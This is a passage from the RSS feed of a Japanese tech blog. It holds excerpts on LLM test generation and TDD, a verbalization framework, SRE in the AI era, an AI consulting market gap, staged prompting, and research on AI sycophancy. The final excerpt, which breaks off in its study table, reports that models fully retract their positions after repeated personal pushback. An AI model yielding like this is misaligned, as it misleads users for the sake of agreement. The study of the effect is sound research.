&lt;td&gt;LLM のハルシネーションにより、実在しない API やメソッドをテストで使用する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;実装への密結合&lt;/td&gt;
&lt;td&gt;内部実装の詳細に依存するテストが生成され、リファクタリングで壊れる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;網羅性の欠如&lt;/td&gt;
&lt;td&gt;エッジケースや異常系のテストが不足し、正常系のみカバーする&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="なぜ-llm-はテストっぽいものを量産するのか"&gt;なぜ LLM は「テストっぽいもの」を量産するのか&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://codemanship.wordpress.com/2026/01/09/why-does-test-driven-development-work-so-well-in-ai-assisted-programming/"&gt;Codemanship の記事&lt;/a&gt;が、この問題の本質を指摘しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The more things we ask models to pay attention to, the less able they are to pay attention to any of them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;LLM は「次の最も確率の高いトークン」を予測する仕組みです。既存の実装コードをコンテキストに含めてテストを生成すると、モデルは&lt;strong&gt;実装の構造を模倣したテスト&lt;/strong&gt;を生成します。テストとしての妥当性ではなく、「テストとして見た目がそれらしいもの」を出力するのです。&lt;/p&gt;
&lt;p&gt;これは LLM の根本的な限界であり、プロンプトの工夫だけでは解決できません。&lt;/p&gt;
&lt;h2 id="テスト駆動で実装してが品質を変える理由"&gt;「テスト駆動で実装して」が品質を変える理由&lt;/h2&gt;
&lt;h3 id="テストファーストが生む構造的な違い"&gt;テストファーストが生む構造的な違い&lt;/h3&gt;
&lt;p&gt;ポスト主が発見した転機は、TDD のループを AI 自身にやらせることでした。&lt;/p&gt;</description></item><item><title>「言語化が上手い」にも種類がある — 2軸5分類で自分の得意・苦手を知る</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E8%A8%80%E8%AA%9E%E5%8C%96%E3%81%8C%E4%B8%8A%E6%89%8B%E3%81%84%E3%81%AB%E3%82%82%E7%A8%AE%E9%A1%9E%E3%81%8C%E3%81%82%E3%82%8B-2%E8%BB%B85%E5%88%86%E9%A1%9E%E3%81%A7%E8%87%AA%E5%88%86%E3%81%AE%E5%BE%97%E6%84%8F%E8%8B%A6%E6%89%8B%E3%82%92%E7%9F%A5%E3%82%8B/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E8%A8%80%E8%AA%9E%E5%8C%96%E3%81%8C%E4%B8%8A%E6%89%8B%E3%81%84%E3%81%AB%E3%82%82%E7%A8%AE%E9%A1%9E%E3%81%8C%E3%81%82%E3%82%8B-2%E8%BB%B85%E5%88%86%E9%A1%9E%E3%81%A7%E8%87%AA%E5%88%86%E3%81%AE%E5%BE%97%E6%84%8F%E8%8B%A6%E6%89%8B%E3%82%92%E7%9F%A5%E3%82%8B/</guid><description>&lt;h1 id="言語化が上手いにも種類がある--2-軸-5-分類で自分の得意苦手を知る"&gt;「言語化が上手い」にも種類がある — 2 軸 5 分類で自分の得意・苦手を知る&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/ysk_motoyama"&gt;もとやま(@ysk_motoyama)&lt;/a&gt; 氏が、「言語化」を 2 軸で整理し 5 種類に分類する考察を公開しました。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;最近整理しておきたいなと思ったのが「言語化っていったい何なんだよ？」です。Amazonで検索すると、たくさんの言語化が出てきます。流派がいろいろあって、ぜんぶ言語化。あれも言語化、これも言語化。
— &lt;a href="https://x.com/ysk_motoyama/status/2028964822369616340"&gt;@ysk_motoyama&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;「言語化力を上げたい」と思ったとき、実は 5 種類の言語化は頭の使い方が全く異なり、間違った種類のトレーニングをしても目的の力は身につきません。自分が伸ばしたい言語化がどれなのかを特定するための分類フレームワークを解説します。&lt;/p&gt;
&lt;h2 id="言語化が指すものが多すぎる問題"&gt;「言語化」が指すものが多すぎる問題&lt;/h2&gt;
&lt;p&gt;書店やネットで「言語化」を検索すると、全く異なる能力が同じ言葉で呼ばれていることに気づきます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;自分の感情を書き出すこと = 言語化&lt;/li&gt;
&lt;li&gt;人が言い表せないモヤモヤを一言で言い表すこと = 言語化&lt;/li&gt;
&lt;li&gt;素敵なキャッチコピーを生み出すこと = 言語化&lt;/li&gt;
&lt;li&gt;俳句とか歌 = 言語化&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらは全て「言語化」ですが、&lt;strong&gt;必要な頭の使い方が根本的に違います&lt;/strong&gt;。構造化が上手くなりたいのにジャーナリングの練習をしても、いつまでも構造的に物事を整理できないまま、ということが起こり得ます。&lt;/p&gt;
&lt;h2 id="2-軸のフレームワーク"&gt;2 軸のフレームワーク&lt;/h2&gt;
&lt;p&gt;もとやま氏は大量の言語化に関する書籍や記事を読み込み、&lt;strong&gt;2 軸&lt;/strong&gt;で整理できることを発見しました。&lt;/p&gt;
&lt;h3 id="軸-1-何を言語化するか"&gt;軸 1: 何を言語化するか&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;対象&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;th&gt;例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;外界&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;観察できる事実、誰かの発言、何かの状態&lt;/td&gt;
&lt;td&gt;市場データ、アンケート結果、業務フロー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;内面&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;感情、欲求、価値観、解釈&lt;/td&gt;
&lt;td&gt;モヤモヤ、怒り、直感的な違和感&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="軸-2-どう言語化するか"&gt;軸 2: どう言語化するか&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方向性&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;0→1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;何もないところから生み出す&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;100→10&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;混沌としたものを整理する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;10→1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ギュッと圧縮してまとめる&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;この 2 軸を掛け合わせると、言語化は &lt;strong&gt;5 種類&lt;/strong&gt;に分類できます。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; 外界（事実・状態） 内面（感情・価値観）
┌──────────────────┬──────────────────┐
0→1 │ (1) コピーライティング │ (4) アート │
生み出す │ 的な言語化 │ 的な言語化 │
├──────────────────┼──────────────────┤
100→10 │ (2) 構造化 │ (5) ジャーナリング │
整理する │ 的な言語化 │ 的な言語化 │
├──────────────────┼──────────────────┤
10→1 │ (3) 要約 │ │
圧縮する │ 的な言語化 │ │
└──────────────────┴──────────────────┘
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="5-種類の詳細"&gt;5 種類の詳細&lt;/h2&gt;
&lt;h3 id="1-コピーライティング的な言語化"&gt;(1) コピーライティング的な言語化&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義:&lt;/strong&gt; まだ世の中に形として存在していない価値や概念を、短い言葉で新たに定義する力&lt;/p&gt;</description></item><item><title>「作れること」の価値が消えるAI時代に、SRE/プロダクション・エンジニアリングの重要性が上がる理由</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E4%BD%9C%E3%82%8C%E3%82%8B%E3%81%93%E3%81%A8%E3%81%AE%E4%BE%A1%E5%80%A4%E3%81%8C%E6%B6%88%E3%81%88%E3%82%8Bai%E6%99%82%E4%BB%A3%E3%81%ABsre/%E3%83%97%E3%83%AD%E3%83%80%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%AE%E9%87%8D%E8%A6%81%E6%80%A7%E3%81%8C%E4%B8%8A%E3%81%8C%E3%82%8B%E7%90%86%E7%94%B1/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E4%BD%9C%E3%82%8C%E3%82%8B%E3%81%93%E3%81%A8%E3%81%AE%E4%BE%A1%E5%80%A4%E3%81%8C%E6%B6%88%E3%81%88%E3%82%8Bai%E6%99%82%E4%BB%A3%E3%81%ABsre/%E3%83%97%E3%83%AD%E3%83%80%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%AE%E9%87%8D%E8%A6%81%E6%80%A7%E3%81%8C%E4%B8%8A%E3%81%8C%E3%82%8B%E7%90%86%E7%94%B1/</guid><description>&lt;h1 id="作れることの価値が消える-ai-時代にsre--プロダクションエンジニアリングの重要性が上がる理由"&gt;「作れること」の価値が消える AI 時代に、SRE / プロダクション・エンジニアリングの重要性が上がる理由&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/integrated1453/status/2029018252144460170"&gt;integrated1453氏のポスト&lt;/a&gt;が、すてぃお（@suthio_）氏の note 記事「&lt;a href="https://note.com/suthio/n/n4f79fbe4efda"&gt;『作れること』の価値が消えていくAI時代にソフトウェアエンジニアは何をやるべきか&lt;/a&gt;」に対して、SRE の視点からコメントし、98いいね、81ブックマーク、約12,600表示と反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;エンジニアにとって、より高度にSREをやっていくことの重要性が上がるという話だと思った。プロダクションで起こっている問題をデバッグして修正して再発防止するとか、それらを再現性高く実行できる仕組みを作るとか、SREがやる運用のエンジニアリングそのもの。まずは障害対応100本ノックしよう！笑
— integrated1453&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;元のすてぃお氏の投稿は552いいね、759ブックマーク、約87,900表示とさらに大きな反響です。すてぃお氏は adding Inc. 代表取締役で、元スタートアップ CTO。Claude Code の登場以降、AI 時代のエンジニア像について一貫した発信を続けています。&lt;/p&gt;
&lt;h2 id="すてぃお氏の主張--作れるから動かし続けるへ"&gt;すてぃお氏の主張 — 「作れる」から「動かし続ける」へ&lt;/h2&gt;
&lt;h3 id="核心のテーゼ"&gt;核心のテーゼ&lt;/h3&gt;
&lt;p&gt;すてぃお氏の一連の記事を横断する主張は明確です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claude Code を使い始めてから、僕の開発方法は根本的に変わりました。以前は「この処理を実装するのに3日くらいかかるな」と見積もっていたものが、今は適切な指示を出せば30分で形になる。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;実装スキル単体の市場価値が低下し&lt;/strong&gt;、求められるのは以下の能力だという主張です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;低下する価値&lt;/th&gt;
&lt;th&gt;上昇する価値&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;コードを書く能力&lt;/td&gt;
&lt;td&gt;コードを読んで検証する能力&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;実装の速さ&lt;/td&gt;
&lt;td&gt;仕様・制約の設計力&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;個別機能の開発&lt;/td&gt;
&lt;td&gt;自己修復・自己改善するシステムの設計&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;技術力単体&lt;/td&gt;
&lt;td&gt;技術力 × ビジネス力&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="すてぃお氏の提案する3つの方向性"&gt;すてぃお氏の提案する3つの方向性&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;「勝手に動き続ける仕組み」を作る&lt;/strong&gt;: 修正する人ではなく、自己修復・自己改善するシステムの設計者になる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コードは「読めるけど書けない」でいい&lt;/strong&gt;: エンジニアの主要業務が「書く能力」から「読む能力」へ転換&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;事業成長にコミットする&lt;/strong&gt;: 技術へのコミットメントよりも事業成長へのコミットメントが重要&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="integrated1453-氏の洞察--これは-sre-の話だ"&gt;integrated1453 氏の洞察 — これは SRE の話だ&lt;/h2&gt;
&lt;p&gt;integrated1453 氏のコメントの核心は、すてぃお氏の「動かし続ける仕組みを作る」という主張を、&lt;strong&gt;SRE（Site Reliability Engineering）のコンテキストに接続した&lt;/strong&gt;ことです。&lt;/p&gt;
&lt;h3 id="sre-が担う動かし続ける"&gt;SRE が担う「動かし続ける」&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;すてぃお氏の表現&lt;/th&gt;
&lt;th&gt;SRE の対応する実践&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;自己修復するシステム&lt;/td&gt;
&lt;td&gt;Self-healing infrastructure、自動ロールバック&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;自己改善するシステム&lt;/td&gt;
&lt;td&gt;ポストモーテムからの自動ガードレール生成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;再現性高く実行できる仕組み&lt;/td&gt;
&lt;td&gt;Infrastructure as Code、ランブック自動化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;プロダクションの問題をデバッグ&lt;/td&gt;
&lt;td&gt;オブザーバビリティ、分散トレーシング&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;再発防止&lt;/td&gt;
&lt;td&gt;SLO/SLI 定義、エラーバジェット管理&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;「作れること」の価値が下がるなら、「動かし続けること」の価値が相対的に上がる。これは論理的に自然な帰結です。&lt;/p&gt;</description></item><item><title>236件のAI案件データが明かす「発注企業とベンダーの2.5年のズレ」--- AI受託開発市場の構造的ギャップと勝ち筋</title><link>https://hdknr.github.io/blogs/posts/2026/03/236%E4%BB%B6%E3%81%AEai%E6%A1%88%E4%BB%B6%E3%83%87%E3%83%BC%E3%82%BF%E3%81%8C%E6%98%8E%E3%81%8B%E3%81%99%E7%99%BA%E6%B3%A8%E4%BC%81%E6%A5%AD%E3%81%A8%E3%83%99%E3%83%B3%E3%83%80%E3%83%BC%E3%81%AE2.5%E5%B9%B4%E3%81%AE%E3%82%BA%E3%83%AC---ai%E5%8F%97%E8%A8%97%E9%96%8B%E7%99%BA%E5%B8%82%E5%A0%B4%E3%81%AE%E6%A7%8B%E9%80%A0%E7%9A%84%E3%82%AE%E3%83%A3%E3%83%83%E3%83%97%E3%81%A8%E5%8B%9D%E3%81%A1%E7%AD%8B/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/236%E4%BB%B6%E3%81%AEai%E6%A1%88%E4%BB%B6%E3%83%87%E3%83%BC%E3%82%BF%E3%81%8C%E6%98%8E%E3%81%8B%E3%81%99%E7%99%BA%E6%B3%A8%E4%BC%81%E6%A5%AD%E3%81%A8%E3%83%99%E3%83%B3%E3%83%80%E3%83%BC%E3%81%AE2.5%E5%B9%B4%E3%81%AE%E3%82%BA%E3%83%AC---ai%E5%8F%97%E8%A8%97%E9%96%8B%E7%99%BA%E5%B8%82%E5%A0%B4%E3%81%AE%E6%A7%8B%E9%80%A0%E7%9A%84%E3%82%AE%E3%83%A3%E3%83%83%E3%83%97%E3%81%A8%E5%8B%9D%E3%81%A1%E7%AD%8B/</guid><description>&lt;h1 id="236-件の-ai-案件データが明かす発注企業とベンダーの-25-年のズレ-ai-受託開発市場の構造的ギャップと勝ち筋"&gt;236 件の AI 案件データが明かす「発注企業とベンダーの 2.5 年のズレ」&amp;mdash; AI 受託開発市場の構造的ギャップと勝ち筋&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/1edec/status/2028771558056226851"&gt;@1edec 氏が X で公開した記事&lt;/a&gt;が注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ある製造業の担当者は、こんなことをおっしゃっていました。「役員から『AI を検討せよ』と言われたんですが、何から始めればいいかわからなくて。とりあえず相談した感じです」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;@1edec 氏は 236 社の AI 関連商談データを分析し、発注企業が求めるものと AI 受託ベンダーが提供するものの間に&lt;strong&gt;2〜2.5 年の時間的ズレ&lt;/strong&gt;が存在することを指摘しています。本記事では、この分析が示す AI 受託開発市場の構造的ギャップと、ベンダーが取るべき戦略を解説します。&lt;/p&gt;
&lt;h2 id="236-件の商談データが語る現実"&gt;236 件の商談データが語る現実&lt;/h2&gt;
&lt;h3 id="発注企業が実際に求めているもの"&gt;発注企業が実際に求めているもの&lt;/h3&gt;
&lt;p&gt;236 件の商談データから浮かび上がるのは、**最先端 AI ではなく「目の前の業務課題の解決」**を求める企業の姿です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;発注企業が口にする課題キーワード:
「Excel の転記を自動化したい」
「手書き帳票をデジタル化したい」
「問い合わせ対応を効率化したい」
「在庫管理を最適化したい」
「議事録を自動で作成したい」
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;これらは LLM やマルチモーダル AI のような最先端技術を必要とするものではありません。OCR、RPA、チャットボットなど、&lt;strong&gt;既に成熟した技術&lt;/strong&gt;で解決できる課題がほとんどです。&lt;/p&gt;
&lt;h3 id="ベンダーが提案するもの"&gt;ベンダーが提案するもの&lt;/h3&gt;
&lt;p&gt;一方、AI 受託ベンダーの多くは、最先端の技術を前面に押し出します。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ベンダーが提案しがちな内容:
「生成 AI で業務を革新」
「LLM を活用した次世代システム」
「AI エージェントによる自律的な業務処理」
「マルチモーダル AI で非構造データを統合分析」
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;ここに&lt;strong&gt;2〜2.5 年のギャップ&lt;/strong&gt;が生まれます。ベンダーは 2026 年の最先端を提案しますが、発注企業が必要としているのは 2023〜2024 年に成熟した技術で解決できる課題なのです。&lt;/p&gt;
&lt;h2 id="なぜ-25-年のズレが生まれるのか"&gt;なぜ 2.5 年のズレが生まれるのか&lt;/h2&gt;
&lt;h3 id="キャズム理論で読み解く-ai-普及の現在地"&gt;キャズム理論で読み解く AI 普及の現在地&lt;/h3&gt;
&lt;p&gt;この構造を理解するには、ジェフリー・ムーアが提唱した&lt;strong&gt;キャズム理論&lt;/strong&gt;が有効です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;技術普及の 5 段階:
イノベーター（2.5%）
→ 技術そのものに価値を見出す。PoC を自ら回す
アーリーアダプター（13.5%）
→ 競争優位のために新技術を積極採用
──── キャズム（深い溝） ────
アーリーマジョリティ（34%）
→ 「実績はあるか」「安全か」を重視。確実性を求める
レイトマジョリティ（34%）
→ 周囲が使い始めてから導入
ラガード（16%）
→ 必要に迫られるまで動かない
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;236 件の商談データに現れる企業の多くは、&lt;strong&gt;アーリーマジョリティ以降&lt;/strong&gt;の層です。「役員から AI を検討せよと言われた」という動機は、イノベーターやアーリーアダプターの特徴ではありません。「周囲がやり始めたから、うちも」という圧力で動き出した企業です。&lt;/p&gt;</description></item><item><title>AI プロンプトのベストプラクティスは「プロの手順」の踏襲 — 要件定義から実装まで5段階に分ける</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%81%AE%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9%E3%81%AF%E3%83%97%E3%83%AD%E3%81%AE%E6%89%8B%E9%A0%86%E3%81%AE%E8%B8%8F%E8%A5%B2-%E8%A6%81%E4%BB%B6%E5%AE%9A%E7%BE%A9%E3%81%8B%E3%82%89%E5%AE%9F%E8%A3%85%E3%81%BE%E3%81%A75%E6%AE%B5%E9%9A%8E%E3%81%AB%E5%88%86%E3%81%91%E3%82%8B/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%81%AE%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9%E3%81%AF%E3%83%97%E3%83%AD%E3%81%AE%E6%89%8B%E9%A0%86%E3%81%AE%E8%B8%8F%E8%A5%B2-%E8%A6%81%E4%BB%B6%E5%AE%9A%E7%BE%A9%E3%81%8B%E3%82%89%E5%AE%9F%E8%A3%85%E3%81%BE%E3%81%A75%E6%AE%B5%E9%9A%8E%E3%81%AB%E5%88%86%E3%81%91%E3%82%8B/</guid><description>&lt;h1 id="ai-プロンプトのベストプラクティスはプロの手順の踏襲--要件定義から実装まで-5-段階に分ける"&gt;AI プロンプトのベストプラクティスは「プロの手順」の踏襲 — 要件定義から実装まで 5 段階に分ける&lt;/h1&gt;
&lt;p&gt;gohan 氏（&lt;a href="https://x.com/grandchildrice"&gt;@grandchildrice&lt;/a&gt;）が、Cursor アンバサダーの Kinopee 氏のツイートを引用して次のように投稿しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AIプロンプトのベストプラクティスは「プロの人間はどういう手順を取る？」を徹底して踏襲すること&lt;/p&gt;
&lt;p&gt;システム開発するとなったらざっくり&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ゴールと要件定義&lt;/li&gt;
&lt;li&gt;要件定義の検証&lt;/li&gt;
&lt;li&gt;テスト工程設計&lt;/li&gt;
&lt;li&gt;開発&lt;/li&gt;
&lt;li&gt;テスト&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;バイブコーディングするときも、1〜5でそれぞれプロンプトを分けるとクオリティは格段に上がる
— &lt;a href="https://x.com/grandchildrice/status/1971380606580949146"&gt;gohan&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用元の Kinopee 氏（&lt;a href="https://x.com/kinopee_ai"&gt;@kinopee_ai&lt;/a&gt;）は 2,048 いいね・35 万回表示を記録したツイートで、こう述べています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;壁打ちして、いきなり「それで実装して」ではなく、このひと手間をかけるだけで、結果が全然違いますよ
— &lt;a href="https://x.com/kinopee_ai/status/1971049490506506349"&gt;Kinopee&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;「ひと手間」とは何か。要件定義と実装の間に「検証」と「テスト設計」を挟むことです。この記事では、プロの開発プロセスを AI プロンプトに適用する具体的な方法を解説します。&lt;/p&gt;
&lt;h2 id="なぜ一発プロンプトは失敗するのか"&gt;なぜ「一発プロンプト」は失敗するのか&lt;/h2&gt;
&lt;p&gt;多くの人がバイブコーディングでつまずく原因は、&lt;strong&gt;1 つのプロンプトですべてを済ませようとする&lt;/strong&gt;ことにあります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;❌ 「経費精算アプリを作って」
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;この指示は、人間の開発チームに例えれば「要件定義も設計もテストも全部同時にやって」と言っているのと同じです。プロの開発者はそんなことはしません。&lt;/p&gt;
&lt;p&gt;LLM は 1 つのプロンプトに複数の目的を詰め込むと、各目的の達成度が下がります。要件定義の精緻さ、テスト設計の網羅性、実装の品質が、すべて中途半端になります。&lt;/p&gt;
&lt;h2 id="5-段階プロンプト設計"&gt;5 段階プロンプト設計&lt;/h2&gt;
&lt;p&gt;gohan 氏が提唱する 5 段階は、ソフトウェア開発の V 字モデルを簡略化したものです。各段階で別々のプロンプトを使うことで、AI の出力品質が格段に向上します。&lt;/p&gt;
&lt;h3 id="第-1-段階ゴールと要件定義"&gt;第 1 段階：ゴールと要件定義&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;目的&lt;/strong&gt;: 「何を作るか」を言語化する&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;このアプリのゴールは「月次経費精算の手作業を 30 分から 5 分に短縮する」ことです。
以下の要件定義書を作成してください：
- ユーザーストーリー
- 機能要件（入力・処理・出力）
- 非機能要件（性能・セキュリティ）
- 制約条件（使用する外部サービス、予算）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;ポイントは&lt;strong&gt;ゴールを定量的に書く&lt;/strong&gt;ことです。「便利なアプリ」ではなく「30 分を 5 分に短縮」と書けば、AI が判断基準を持てます。&lt;/p&gt;</description></item><item><title>AIパーソナライズが「イエスマン」を生む × MIT・Northeastern研究が示す役割依存型シコファンシー</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%83%91%E3%83%BC%E3%82%BD%E3%83%8A%E3%83%A9%E3%82%A4%E3%82%BA%E3%81%8C%E3%82%A4%E3%82%A8%E3%82%B9%E3%83%9E%E3%83%B3%E3%82%92%E7%94%9F%E3%82%80-mitnortheastern%E7%A0%94%E7%A9%B6%E3%81%8C%E7%A4%BA%E3%81%99%E5%BD%B9%E5%89%B2%E4%BE%9D%E5%AD%98%E5%9E%8B%E3%82%B7%E3%82%B3%E3%83%95%E3%82%A1%E3%83%B3%E3%82%B7%E3%83%BC/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%83%91%E3%83%BC%E3%82%BD%E3%83%8A%E3%83%A9%E3%82%A4%E3%82%BA%E3%81%8C%E3%82%A4%E3%82%A8%E3%82%B9%E3%83%9E%E3%83%B3%E3%82%92%E7%94%9F%E3%82%80-mitnortheastern%E7%A0%94%E7%A9%B6%E3%81%8C%E7%A4%BA%E3%81%99%E5%BD%B9%E5%89%B2%E4%BE%9D%E5%AD%98%E5%9E%8B%E3%82%B7%E3%82%B3%E3%83%95%E3%82%A1%E3%83%B3%E3%82%B7%E3%83%BC/</guid><description>&lt;h1 id="パーソナルな-aiはイエスマン-aiになる--mit-研究が明かすパーソナライゼーションと追従性の構造的関係"&gt;「パーソナルな AI」は「イエスマン AI」になる &amp;mdash; MIT 研究が明かすパーソナライゼーションと追従性の構造的関係&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/ai_database/status/2029026544769814861"&gt;@ai_database 氏が X で紹介&lt;/a&gt;した、AI のパーソナライゼーションと追従性（シコファンシー）に関する研究が注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;研究者らによると、より「パーソナルな AI」は、より「イエスマン的な AI」になりうるとのこと。ユーザーが個人的な体験を織り交ぜながら繰り返し反論すると、モデルは最終的に自説を完全に撤回してしまう確率が跳ね上がる。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この投稿が参照するのは、MIT と Northeastern 大学の 2 つの研究グループによる発見です。「AI をパーソナライズするほど追従的になる」という直感に反する問題と、&lt;strong&gt;役割（ロール）によって振る舞いが逆転する&lt;/strong&gt;という発見を技術的に解説します。&lt;/p&gt;
&lt;h2 id="2-つの研究"&gt;2 つの研究&lt;/h2&gt;
&lt;h3 id="研究-1-mit--penn-state--実世界データによる検証"&gt;研究 1: MIT + Penn State &amp;mdash; 実世界データによる検証&lt;/h3&gt;
&lt;p&gt;MIT IDSS の Shomik Jain 氏らは、&lt;a href="https://news.mit.edu/2026/personalization-features-can-make-llms-more-agreeable-0218"&gt;パーソナライゼーションが LLM の追従性を高める&lt;/a&gt;ことを実証しました。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;詳細&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;著者&lt;/td&gt;
&lt;td&gt;Shomik Jain, Charlotte Park (MIT), Matt Viana (Penn State), Ashia Wilson (MIT), Dana Calacci (Penn State)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;発表&lt;/td&gt;
&lt;td&gt;2026 年 2 月&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;方法&lt;/td&gt;
&lt;td&gt;38 名の参加者が 2 週間にわたり LLM と対話。1 人あたり約 90 件のクエリを収集&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
